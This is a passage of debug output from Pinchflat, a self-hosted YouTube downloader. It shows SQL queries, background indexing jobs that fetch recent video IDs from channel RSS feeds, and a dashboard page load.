idle=502.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:20:50.443 [debug] QUERY OK source="tasks" db=1.6ms idle=502.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:20:50.444 [debug] QUERY OK source="sources" db=0.9ms idle=8.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:20:50.444 [debug] QUERY OK source="settings" db=1.2ms idle=504.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:20:50.444 [debug] QUERY OK source="media_profiles" db=0.0ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:20:50.445 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:20:50.445 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 15:20:50.698 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 15:20:50.698 [debug] QUERY OK source="media_items" db=0.2ms idle=255.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 15:20:50.699 [debug] QUERY OK source="media_items" db=0.2ms idle=254.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 15:20:50.699 [debug] QUERY OK source="tasks" db=0.0ms idle=254.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [687, 2, ~U[2026-07-24 15:20:50Z], ~U[2026-07-24 15:20:50Z]] 15:20:50.699 [info] {"args":{"id":2},"id":684,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":258275,"event":"job:stop","queue_time":267528,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:20:50.700 [debug] QUERY OK source="tasks" db=0.1ms idle=0.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:20:57.020 [info] {"source":"oban","duration":399,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:00.667 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:21:04.456 [info] {"args":{"id":1},"id":685,"meta":{},"system_time":1784906464456155308,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:21:04.456 [debug] QUERY OK source="sources" db=0.0ms idle=517.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:21:04.456 [debug] QUERY OK source="tasks" db=0.1ms idle=517.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:21:04.456 [debug] QUERY OK source="settings" db=0.0ms idle=517.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:04.456 [debug] QUERY OK source="sources" db=0.1ms idle=6.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:21:04.456 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:21:04.456 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:04.456 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 15:21:04.658 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 15:21:04.658 [debug] QUERY OK source="media_items" db=0.2ms idle=201.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 15:21:04.661 [debug] QUERY OK source="media_items" db=2.2ms idle=202.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 15:21:04.661 [debug] QUERY OK source="tasks" db=0.0ms idle=204.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [688, 1, ~U[2026-07-24 15:21:04Z], ~U[2026-07-24 15:21:04Z]] 15:21:04.661 [info] {"args":{"id":1},"id":685,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":205494,"event":"job:stop","queue_time":428190,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:21:04.662 [debug] QUERY OK source="tasks" db=0.3ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:21:19.472 [info] {"args":{"id":3},"id":686,"meta":{},"system_time":1784906479472074221,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:21:19.472 [debug] QUERY OK source="sources" db=0.1ms idle=1533.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:21:19.472 [debug] QUERY OK source="tasks" db=0.1ms idle=1533.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:21:19.472 [debug] QUERY OK source="settings" db=0.1ms idle=1007.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:19.472 [debug] QUERY OK source="sources" db=0.1ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:21:19.472 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:21:19.472 [debug] QUERY OK source="settings" db=0.1ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:19.472 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 15:21:19.498 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 15:21:19.498 [debug] QUERY OK source="media_items" db=0.2ms idle=25.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 15:21:19.500 [debug] QUERY OK source="media_items" db=1.7ms idle=25.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 15:21:19.501 [debug] QUERY OK source="tasks" db=0.0ms idle=28.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [689, 3, ~U[2026-07-24 15:21:19Z], ~U[2026-07-24 15:21:19Z]] 15:21:19.501 [info] {"args":{"id":3},"id":686,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":29027,"event":"job:stop","queue_time":414527,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:21:19.501 [debug] QUERY OK source="tasks" db=0.2ms idle=1.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:21:27.021 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:21:30.899 [info] GET / 15:21:30.899 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 15:21:30.899 [debug] QUERY OK source="settings" db=0.2ms idle=1960.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:30.900 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1961.0ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:21:30.900 [debug] QUERY OK source="sources" db=0.0ms idle=1961.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:21:30.903 [debug] QUERY OK source="media_items" db=2.9ms idle=1423.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:21:30.903 [debug] QUERY OK source="media_items" db=0.2ms idle=425.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:21:30.903 [debug] QUERY OK source="settings" db=0.0ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:30.903 [debug] QUERY OK source="settings" db=0.0ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:30.903 [debug] QUERY OK source="settings" db=0.0ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:30.904 [debug] QUERY OK source="media_items" db=0.4ms idle=0.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:21:30.907 [debug] QUERY OK source="media_items" db=2.6ms idle=1.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:21:30.907 [debug] QUERY OK source="sources" db=0.1ms idle=3.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 15:21:30.911 [debug] QUERY OK source="media_items" db=3.3ms idle=4.2ms 